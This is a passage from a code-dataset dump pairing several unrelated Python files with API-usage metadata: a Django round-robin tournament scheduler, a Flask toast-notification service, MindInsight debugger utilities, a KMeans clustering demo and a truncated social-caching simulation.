77, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 77, "usage_type": "name"}, {"api_name": "Products.ATContentTypes.content.schemata.finalizeATCTSchema", "line_number": 93, "usage_type": "call"}, {"api_name": "Products.ATContentTypes.content.schemata", "line_number": 93, "usage_type": "name"}, {"api_name": "Products.ATContentTypes.content.base.ATCTContent", "line_number": 96, "usage_type": "attribute"}, {"api_name": "Products.ATContentTypes.content.base", "line_number": 96, "usage_type": "name"}, {"api_name": "zope.interface.implements", "line_number": 98, "usage_type": "call"}, {"api_name": "automator.tvbrasil.interfaces.ITVBrReporterDisplay", "line_number": 98, "usage_type": "argument"}, {"api_name": "Products.Archetypes.atapi.ATFieldProperty", "line_number": 103, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 103, "usage_type": "name"}, {"api_name": "Products.Archetypes.atapi.ATFieldProperty", "line_number": 104, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 104, "usage_type": "name"}, {"api_name": "Products.Archetypes.atapi.ATFieldProperty", "line_number": 107, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 107, "usage_type": "name"}, {"api_name": "Products.Archetypes.atapi.ATFieldProperty", "line_number": 108, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 108, "usage_type": "name"}, {"api_name": "Products.Archetypes.atapi.ATFieldProperty", "line_number": 109, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 109, "usage_type": "name"}, {"api_name": "DateTime.DateTime", "line_number": 113, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi.registerType", "line_number": 142, "usage_type": "call"}, {"api_name": "automator.tvbrasil.config.PROJECTNAME", "line_number": 142, "usage_type": "argument"}, {"api_name": "Products.Archetypes.atapi", "line_number": 142, "usage_type": "name"}]} +{"seq_id": "602059128", "text": "from liga_social import models\nfrom random import shuffle\n\nimport datetime\n\n\ndef crear_torneo(torneo):\n \"\"\"Wrapper\"\"\"\n torneo_snapshot(torneo)\n crear_detalle_torneo(torneo)\n\ndef torneo_snapshot(torneo):\n \"\"\"\n Toma snapshot de configuraciones de jugadores y equipos para iniciar un torneo\n \"\"\"\n for equipo in models.Equipo.objects.filter(activo=True):\n torneo_equipo = models.TorneoEquipo(torneo=torneo,\n equipo=equipo,\n categoría=equipo.categoría,\n puntos=0)\n torneo_equipo.save()\n\n for jugador in models.Jugador.objects.filter(activo=True):\n torneo_jugador = models.TorneoJugador(torneo=torneo,\n equipo=jugador.equipo,\n jugador=jugador,\n categoría=jugador.categoría)\n try:\n hc_torneo_pasado = models.TorneoJugador.objects.get(jugador=jugador, torneo=torneo.torneo_anterior).handicap\n torneo_jugador.handicap = hc_torneo_pasado\n except models.TorneoJugador.DoesNotExist:\n pass\n\n torneo_jugador.save()\n\n\ndef crear_detalle_torneo(torneo):\n \"\"\"Crea el detalle de las jornadas en un formato Round Robin\"\"\"\n cantidad_jornadas = torneo.jornadas\n fecha = torneo.inicio\n equipos = []\n for tequipo in models.TorneoEquipo.objects.filter(torneo=torneo):\n equipos += [tequipo.equipo]\n\n data = round_robin(equipos, cantidad_jornadas)\n\n for num_jornada in data:\n # Crear Jornada\n jornada = models.Jornada(torneo=torneo,\n número_jornada=num_jornada,\n fecha=fecha)\n jornada.save()\n fecha += datetime.timedelta(days=7)\n\n # Crear pago de la jornada\n\n\n # Segundo nivel: detalle de partidos. match[0] = equipo local, match[1] = equipo visitante\n pista = torneo.pista_inicio\n for equipos_partido in data[num_jornada]:\n nuevo_partido = models.Partido(jornada=jornada)\n nuevo_partido.save()\n\n for i in [0, 1]: # 0 es equipo local, 1 es equipo visitante\n if equipos_partido[i]:\n juego = models.Juego(partido=nuevo_partido,\n equipo=equipos_partido[i],\n pista=pista + i)\n juego.save()\n\n pago = models.JornadaPago(equipo=equipos_partido[i], jornada=jornada)\n pago.save()\n\n pista += 2\n\n\n\n\n\ndef round_robin(teams, rounds):\n \"\"\"Implementa Round Robin. https://en.wikipedia.org/wiki/Round-robin_tournament\n Output: Dictionary.\n Dictionary keys represent the round number\n Dictionary values contain a list of lists.\n Each inner list contains two items representing the teams that are matched for that round.\n Example: output = {1: {[[team1, team2], [team3, team4]]}\"\"\"\n\n matrix = {}\n shuffle(teams)\n\n #Agregar un BYE si la cantidad de equipos no es par\n if len(teams) % 2 == 1:\n teams += [None]\n\n pivot = teams[0]\n top = teams[1:int(len(teams)/2)]\n bot = teams[int(len(teams)/2):]\n\n #Asigna pares para jornada i\n for i in range(1, rounds + 1):\n matrix[i] = []\n match = [pivot, bot[0]]\n shuffle(match)\n matrix[i].append(match)\n for j in range(len(top)):\n match = [top[j], bot[j+1]]\n shuffle(match)\n matrix[i].append(match)\n\n #Rotar para siguiente ronda\n bot.append(top.pop())\n top = [bot.pop(0)] + top\n\n #Mezclar matches en la misma jornada para que equipo pivote no repita siempre la misma posición\n for i in matrix:\n shuffle(matrix[i])\n\n return matrix\n\n\n", "sub_path": "liga_social/utils/torneo.py", "file_name": "torneo.py", "file_ext": "py", "file_size_in_byte": 3912, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "liga_social.models.Equipo.objects.filter", "line_number": 16, "usage_type": "call"}, {"api_name": "liga_social.models.Equipo", "line_number": 16, "usage_type": "attribute"}, {"api_name": "liga_social.models", "line_number": 16, "usage_type": "name"}, {"api_name": "liga_social.models.TorneoEquipo", "line_number": 17, "usage_type": "call"}, {"api_name": "liga_social.models", "line_number": 17, "usage_type": "name"}, {"api_name": "liga_social.models.Jugador.objects.filter", "line_number": 23, "usage_type": "call"}, {"api_name": "liga_social.models.Jugador", "line_number": 23, "usage_type": "attribute"}, {"api_name": "liga_social.models", "line_number": 23, "usage_type": "name"}, {"api_name": "liga_social.models.TorneoJugador", "line_number": 24, "usage_type": "call"}, {"api_name": "liga_social.models", "line_number": 24, "usage_type": "name"}, {"api_name": "liga_social.models.TorneoJugador.objects.get", "line_number": 29, "usage_type": "call"}, {"api_name": "liga_social.models.TorneoJugador", "line_number": 29, "usage_type": "attribute"}, {"api_name": "liga_social.models", "line_number": 29, "usage_type": "name"}, {"api_name": "liga_social.models.TorneoJugador", "line_number": 31, "usage_type": "attribute"}, {"api_name": "liga_social.models", "line_number": 31, "usage_type": "name"}, {"api_name": "liga_social.models.TorneoEquipo.objects.filter", "line_number": 42, "usage_type": "call"}, {"api_name": "liga_social.models.TorneoEquipo", "line_number": 42, "usage_type": "attribute"}, {"api_name": "liga_social.models", "line_number": 42, "usage_type": "name"}, {"api_name": "liga_social.models.Jornada", "line_number": 49, "usage_type": "call"}, {"api_name": "liga_social.models", "line_number": 49, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 53, "usage_type": "call"}, {"api_name": "liga_social.models.Partido", "line_number": 61, "usage_type": "call"}, {"api_name": "liga_social.models", "line_number": 61, "usage_type": "name"}, {"api_name": "liga_social.models.Juego", "line_number": 66, "usage_type": "call"}, {"api_name": "liga_social.models", "line_number": 66, "usage_type": "name"}, {"api_name": "liga_social.models.JornadaPago", "line_number": 71, "usage_type": "call"}, {"api_name": "liga_social.models", "line_number": 71, "usage_type": "name"}, {"api_name": "random.shuffle", "line_number": 89, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 103, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 107, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 116, "usage_type": "call"}]} +{"seq_id": "132065908", "text": "from flask import Flask\nfrom flask import jsonify\nfrom flask import g\nfrom flask import request\nfrom flask import current_app\nfrom win10toast import ToastNotifier\nimport os\n# __file__ refers to the file settings.py\nAPP_ROOT = os.path.dirname(os.path.abspath(__file__)) # refers to application_top\nAPP_STATIC = os.path.join(APP_ROOT, 'static')\n\napp = Flask(__name__)\n\n@app.route('/heartbeat')\ndef hello_world():\n if current_app.message is None:\n return jsonify({'status': 0})\n else:\n response = jsonify({'status': 1, 'message': current_app.message, 'title': current_app.title})\n current_app.message = None\n return response\n\n@app.route('/sendnotify', methods=['GET', 'POST'])\ndef send_notify():\n if hasattr(current_app, 'toast') == False:\n current_app.toast = ToastNotifier()\n data = request.values\n\n current_app.message = data['message']\n current_app.title = data['title']\n current_app.toast.show_toast(\n current_app.message,\n current_app.title,\n icon_path=os.path.join(APP_STATIC, \"python.ico\"),\n duration=10)\n return jsonify({'status': 1})\n\n\n\nif __name__ == '__main__':\n\n app.run(host='0.0.0.0', port=5405)\n", "sub_path": "NotificationService.py", "file_name": "NotificationService.py", "file_ext": "py", "file_size_in_byte": 1200, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "flask.Flask", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.current_app.message", "line_number": 16, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 16, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.current_app.message", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.current_app.title", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.current_app.message", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.current_app", "line_number": 25, "usage_type": "argument"}, {"api_name": "flask.current_app.toast", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 26, "usage_type": "name"}, {"api_name": "win10toast.ToastNotifier", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.request.values", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.current_app.message", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.current_app.title", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 30, "usage_type": "name"}, {"api_name": "flask.current_app.toast.show_toast", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.current_app.toast", "line_number": 31, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.current_app.message", "line_number": 32, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 32, "usage_type": "name"}, {"api_name": "flask.current_app.title", "line_number": 33, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 33, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.jsonify", "line_number": 36, "usage_type": "call"}]} +{"seq_id": "335031176", "text": "# Copyright 2020 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"Define the utils.\"\"\"\nimport enum\n\nimport numpy as np\n\nfrom mindinsight.datavisual.data_transform.graph import NodeTypeEnum\nfrom mindinsight.debugger.proto.debug_grpc_pb2 import EventReply\n\n# translate the MindSpore type to numpy type.\nNUMPY_TYPE_MAP = {\n 'DT_BOOL': np.bool,\n\n 'DT_INT8': np.int8,\n 'DT_INT16': np.int16,\n 'DT_INT32': np.int32,\n 'DT_INT64': np.int64,\n\n 'DT_UINT8': np.uint8,\n 'DT_UINT16': np.uint16,\n 'DT_UINT32': np.uint32,\n 'DT_UINT64': np.uint64,\n\n 'DT_FLOAT16': np.float16,\n 'DT_FLOAT32': np.float32,\n 'DT_FLOAT64': np.float64,\n\n 'DT_STRING': np.str\n}\n\n\n@enum.unique\nclass ReplyStates(enum.Enum):\n \"\"\"Define the status of reply.\"\"\"\n SUCCESS = 0\n FAILED = -1\n\n\n@enum.unique\nclass ServerStatus(enum.Enum):\n \"\"\"The status of debugger server.\"\"\"\n PENDING = 'pending' # no client session has been connected\n RECEIVE_GRAPH = 'receive graph' # the client session has sent the graph\n WAITING = 'waiting' # the client session is ready\n RUNNING = 'running' # the client session is running a script\n MISMATCH = 'mismatch' # the version of Mindspore and Mindinsight is not matched\n SENDING = 'sending' # the request is in cache but not be sent to client\n\n\n@enum.unique\nclass Streams(enum.Enum):\n \"\"\"Define the enable streams to be deal with.\"\"\"\n\n COMMAND = \"command\"\n DATA = \"data\"\n METADATA = \"metadata\"\n GRAPH = 'node'\n TENSOR = 'tensor'\n WATCHPOINT = 'watchpoint'\n WATCHPOINT_HIT = 'watchpoint_hit'\n\n\nclass RunLevel(enum.Enum):\n \"\"\"Run Level enum, it depends on whether the program is executed node by node,\n step by step, or in recheck phase\"\"\"\n NODE = \"node\"\n STEP = \"step\"\n RECHECK = \"recheck\"\n\n\ndef get_ack_reply(state=0):\n \"\"\"The the ack EventReply.\"\"\"\n reply = EventReply()\n state_mapping = {\n 0: EventReply.Status.OK,\n 1: EventReply.Status.FAILED,\n 2: EventReply.Status.PENDING\n }\n reply.status = state_mapping[state]\n\n return reply\n\n\ndef wrap_reply_response(error_code=None, error_message=None):\n \"\"\"\n Wrap reply response.\n\n Args:\n error_code (str): Error code. Default: None.\n error_message (str): Error message. Default: None.\n\n Returns:\n str, serialized response.\n \"\"\"\n if error_code is None:\n reply = {'state': ReplyStates.SUCCESS.value}\n else:\n reply = {\n 'state': ReplyStates.FAILED.value,\n 'error_code': error_code,\n 'error_message': error_message\n }\n\n return reply\n\n\ndef create_view_event_from_tensor_basic_info(tensors_info):\n \"\"\"\n Create view event reply according to tensor names.\n\n Args:\n tensors_info (list[TensorBasicInfo]): The list of TensorBasicInfo. Each element has keys:\n `full_name`, `node_type`, `iter`.\n\n Returns:\n EventReply, the event reply with view cmd.\n \"\"\"\n view_event = get_ack_reply()\n for tensor_info in tensors_info:\n node_type = tensor_info.node_type\n if node_type == NodeTypeEnum.CONST.value:\n continue\n truncate_tag = node_type == NodeTypeEnum.PARAMETER.value\n tensor_name = tensor_info.full_name\n # create view command\n ms_tensor = view_event.view_cmd.tensors.add()\n ms_tensor.node_name, ms_tensor.slot = tensor_name.rsplit(':', 1)\n ms_tensor.truncate = truncate_tag\n ms_tensor.iter = tensor_info.iter\n\n return view_event\n\n\ndef is_scope_type(node_type):\n \"\"\"Judge whether the type is scope type.\"\"\"\n return node_type.endswith('scope')\n\n\ndef is_cst_type(node_type):\n \"\"\"Judge whether the type is const type.\"\"\"\n return node_type == NodeTypeEnum.CONST.value\n", "sub_path": "mindinsight/debugger/common/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 4368, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "numpy.bool", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.int8", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.int16", "line_number": 28, "usage_type": "attribute"}, {"api_name": "numpy.int32", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.uint16", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.uint32", "line_number": 34, "usage_type": "attribute"}, {"api_name": "numpy.uint64", "line_number": 35, "usage_type": "attribute"}, {"api_name": "numpy.float16", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.str", "line_number": 41, "usage_type": "attribute"}, {"api_name": "enum.Enum", "line_number": 46, "usage_type": "attribute"}, {"api_name": "enum.unique", "line_number": 45, "usage_type": "attribute"}, {"api_name": "enum.Enum", "line_number": 53, "usage_type": "attribute"}, {"api_name": "enum.unique", "line_number": 52, "usage_type": "attribute"}, {"api_name": "enum.Enum", "line_number": 64, "usage_type": "attribute"}, {"api_name": "enum.unique", "line_number": 63, "usage_type": "attribute"}, {"api_name": "enum.Enum", "line_number": 76, "usage_type": "attribute"}, {"api_name": "mindinsight.debugger.proto.debug_grpc_pb2.EventReply", "line_number": 86, "usage_type": "call"}, {"api_name": "mindinsight.debugger.proto.debug_grpc_pb2.EventReply.Status", "line_number": 88, "usage_type": "attribute"}, {"api_name": "mindinsight.debugger.proto.debug_grpc_pb2.EventReply", "line_number": 88, "usage_type": "name"}, {"api_name": "mindinsight.debugger.proto.debug_grpc_pb2.EventReply.Status", "line_number": 89, "usage_type": "attribute"}, {"api_name": "mindinsight.debugger.proto.debug_grpc_pb2.EventReply", "line_number": 89, "usage_type": "name"}, {"api_name": "mindinsight.debugger.proto.debug_grpc_pb2.EventReply.Status", "line_number": 90, "usage_type": "attribute"}, {"api_name": "mindinsight.debugger.proto.debug_grpc_pb2.EventReply", "line_number": 90, "usage_type": "name"}, {"api_name": "mindinsight.datavisual.data_transform.graph.NodeTypeEnum.CONST", "line_number": 134, "usage_type": "attribute"}, {"api_name": "mindinsight.datavisual.data_transform.graph.NodeTypeEnum", "line_number": 134, "usage_type": "name"}, {"api_name": "mindinsight.datavisual.data_transform.graph.NodeTypeEnum.PARAMETER", "line_number": 136, "usage_type": "attribute"}, {"api_name": "mindinsight.datavisual.data_transform.graph.NodeTypeEnum", "line_number": 136, "usage_type": "name"}, {"api_name": "mindinsight.datavisual.data_transform.graph.NodeTypeEnum.CONST", "line_number": 154, "usage_type": "attribute"}, {"api_name": "mindinsight.datavisual.data_transform.graph.NodeTypeEnum", "line_number": 154, "usage_type": "name"}]} +{"seq_id": "335528868", "text": "from copy import deepcopy\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\n\nclass KMeans(object):\n\n def __init__(self, n_clusters = 3):\n self.n_clusters = n_clusters\n\n def dist(self, a, b, ax=1):\n return np.linalg.norm(a - b, axis=ax)\n\n def fit(self, X):\n plt.ion()\n k = self.n_clusters\n C_x = np.random.randint(0, np.max(X)-20, size=k)\n C_y = np.random.randint(0, np.max(X) - 20, size=k)\n C = np.array(list(zip(C_x, C_y)), dtype=np.float32)\n C_old = np.zeros(C.shape)\n clusters = np.zeros(len(X))\n error = self.dist(C, C_old, None)\n plt.scatter(f1, f2, c='#050505', s=7)\n plt.scatter(C_x, C_y, marker='*', s=200, c='g')\n plt.draw()\n plt.pause(1)\n plt.clf()\n while error != 0:\n for i in range(len(X)):\n distance = self.dist(X[i], C)\n cluster = np.argmin(distance)\n clusters[i] = cluster\n C_old = deepcopy(C)\n for i in range(k):\n points = [X[j] for j in range(len(X)) if clusters[j] == i]\n C[i] = np.mean(points, axis=0)\n error = self.dist(C, C_old, None)\n colors = ['r', 'g', 'b', 'y', 'c', 'm']\n fig, ax = plt.subplots()\n for i in range(k):\n points = np.array([X[j] for j in range(len(X)) if clusters[j] == i])\n ax.scatter(points[:, 0], points[:, 1], s=7, c=colors[i])\n ax.scatter(C[:, 0], C[:, 1], marker='*', s=200, c='#050505')\n plt.draw()\n plt.pause(1)\n plt.clf()\n plt.show()\n return C\n\n\ndata = pd.read_csv('xclara.csv')\nf1 = data['V1'].values\nf2 = data['V2'].values\nX = np.array(list(zip(f1, f2)))\nk_means = KMeans(n_clusters=3)\ncenters = k_means.fit(X)", "sub_path": "kMeans/KMeans.py", "file_name": "KMeans.py", "file_ext": "py", "file_size_in_byte": 1847, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "numpy.linalg.norm", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 12, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.ion", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "numpy.argmin", "line_number": 31, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}]} +{"seq_id": "167895207", "text": "import math\nimport numpy as np\nfrom scipy import stats\nimport matplotlib.pyplot as plt\npeople=1900+1005\nalpha=0.5\nfile_num=5000\ncapacity=50\ninterval=431\nb=4\nqa=0.5\nqb=0.5\nx_n=12\ntimes=1\n\nclass user:\n\tdef __init__(self):\n\t\tself.wait_watch=set()\n\t\tself.wait_buf=set()\n\t\tself.watched=dict()\n\t\tself.connect=[0]*people\n\t\tself.friends=dict()\n\t\tself.active=0\n\t\tself.downloading=False\n\t\tself.remaining=300\n\t\tself.cached=0\n\t\tself.bt_1=0\nclass file:\n\tdef __init__(self, file_name):\n\t\tself.id=file_name\n\t\tself.count=0\n\t\tself.score=0\n\n#init\ndef init():\n\tfor i in range(people):\n\t\tusers.append(user())\n\tfor i in range(1, file_num+1):\n\t\tfiles.append(file(i))\n\nn1=list()\nn2=list()\nn3=list()\nn4=list()\nfor abcde in range(x_n):\n\thit1=0\n\thit2=0\n\thit3=0\n\thit4=0\n\tQoE1=0\n\tQoE2=0\n\tQoE3=0\n\tQoE4=0\n\tcount=0\n\tbound=np.arange(1, file_num)\n\tweights=bound**(-alpha)\n\tweights/=weights.sum()\n\tbounded_zipf = stats.rv_discrete(name='bounded_zipf', values=(bound, weights))\n\tfor wxyz in range(times):\n\t\t#init\n\t\tusers=list()\n\t\tfiles=list()\n\t\tfor i in range(people):\n\t\t\tusers.append(user())\n\t\tfor i in range(1, file_num+1):\n\t\t\tfiles.append(file(i))\n\n\t\twith open('allinone.txt','r') as f:\n\t\t\tq1=list()\n\t\t\tq2=list()\n\t\t\tq3=list()\n\t\t\tq4=list()\n\n\t\t\toccupation3=0\n\t\t\toccupation4=0\n\t\t\tedge=f.read().split()\n\t\t\tii=0\n\t\t\tday=0\n\t\t\tCL1=list()\n\t\t\tCL2=list()\n\t\t\tCL3=dict()\n\t\t\tCL4=list()\n\t\t\t#CL4=list(bounded_zipf.rvs(size=capacity))\n\n\t\t\twhile ii+1day:\n\t\t\t\t\t\n\t\t\t\t\t#calculate importance\n\t\t\t\t\tfor i in range(people):\n\t\t\t\t\t\tif len(users[i].friends)>1:\n\t\t\t\t\t\t\tm=max(users[i].connect)\n\t\t\t\t\t\t\tfor k in users[i].friends.keys():\n\t\t\t\t\t\t\t\tusers[i].friends[k]=users[i].connect[k]/m\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\trequests=list()\t\t\t\t\t\n\t\t\t\t\t#pour\t\t\t\n\t\t\t\t\tfor i in range(people):\n\t\t\t\t\t\tusers[i].wait_watch|=users[i].wait_buf\n\t\t\t\t\t\tusers[i].wait_buf=set()\t\n\t\t\t\t\t#watch shared\n\t\t\t\t\tfor i in range(people):\n\t\t\t\t\t\tif users[i].active==0:\n\t\t\t\t\t\t\tusers[i].wait_watch=set()\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tfor e in users[i].wait_watch:\n\t\t\t\t\t\t\tif e not in users[i].watched:\n\t\t\t\t\t\t\t\tusers[i].watched[e]=3\n\t\t\t\t\t\t\t\tfiles[e].count+=1\n\t\t\t\t\t\t\t\tfiles[e].score=1+sum(v for v in users[i].friends.values())\n\t\t\t\t\t\t\t\trequests.append(e)\n\t\t\t\t\t\t\t\tcount+=1\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t#seen by friends\n\t\t\t\t\t\t\t\tif len(users[i].friends)>1:\n\t\t\t\t\t\t\t\t\tfor f in users[i].friends:\n\t\t\t\t\t\t\t\t\t\tif np.random.rand()1:\n\t\t\t\t\t\t\t\t\tfor f in users[i].friends:\n\t\t\t\t\t\t\t\t\t\tif np.random.rand()=capacity:\n\t\t\t\t\t\tsortedLFU=sorted(CL3.items(), key=lambda kv: kv[1])\n\t\t\t\t\t\tCL3.pop(sortedLFU[0][0])\n\t\t\t\t\t\toccupation3-=1\n\n\t\t\t\t\tif occupation4>=capacity:\n\t\t\t\t\t\tCL4.pop(np.random.randint(len(CL4)))\n\t\t\t\t\t\toccupation4-=1\n\n\t\t\t\t\toccupation1=0\n\t\t\t\t\toccupation2=0\t\t\t\t\t\n\t\t\t\t\tCL1=[]\n\t\t\t\t\tCL2=[]\n\t\t\t\t\t\n\t\t\t\t\tbuf=sorted(files, key=lambda x: x.score, reverse=True)\n\t\t\t\t\tfor e in buf:\n\t\t\t\t\t\tif occupation1>=capacity:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tCL1.append(e.id)\n\t\t\t\t\t\toccupation1+=0.5\n\n\t\t\t\t\tfor e in buf:\n\t\t\t\t\t\tif occupation3>=capacity:\n\t\t\t\t\t\t\tbreak \n\t\t\t\t\t\tif e not in CL3:\n\t\t\t\t\t\t\tCL3[e.id]=0\n\t\t\t\t\t\t\toccupation3+=1\n\t\t\t\t\tfor e in buf:\n\t\t\t\t\t\tif occupation4>=capacity:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tif e not in CL4:\n\t\t\t\t\t\t\tCL4.append(e.id)\n\t\t\t\t\t\t\toccupation4+=1\t\t\n\n\t\t\t\t\tbuf=sorted(files, key=lambda x: x.count, reverse=True)\n\t\t\t\t\tfor e in buf:\n\t\t\t\t\t\tif occupation2>=capacity:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tCL2.append(e.id)\n\t\t\t\t\t\toccupation2+=1\t\t\t\n\n\t\t\t\t\t#update parameter every time slot\n\t\t\t\t\tfor m in users:\n\t\t\t\t\t\texecu=list()\n\t\t\t\t\t\tfor n in m.watched:\n\t\t\t\t\t\t\tm.watched[n]-=1\n\t\t\t\t\t\t\tif m.watched[n]<=0:\n\t\t\t\t\t\t\t\texecu.append(n)\n\t\t\t\t\t\tfor o in execu:\n\t\t\t\t\t\t\tm.watched.pop(o)\n\n\t\t\t\t\tfor e in users:\n\t\t\t\t\t\te.connect=[0]*people\n\t\t\t\t\t\te.friends=dict()\n\t\t\t\t\t\te.active=0\n\n\t\t\t\t\tday+=1\n\t\t\t\t\t#print(day)\n\t\t\t\t\tif day==67:\n\t\t\t\t\t\tday=72\n\t\t\t\t\tif 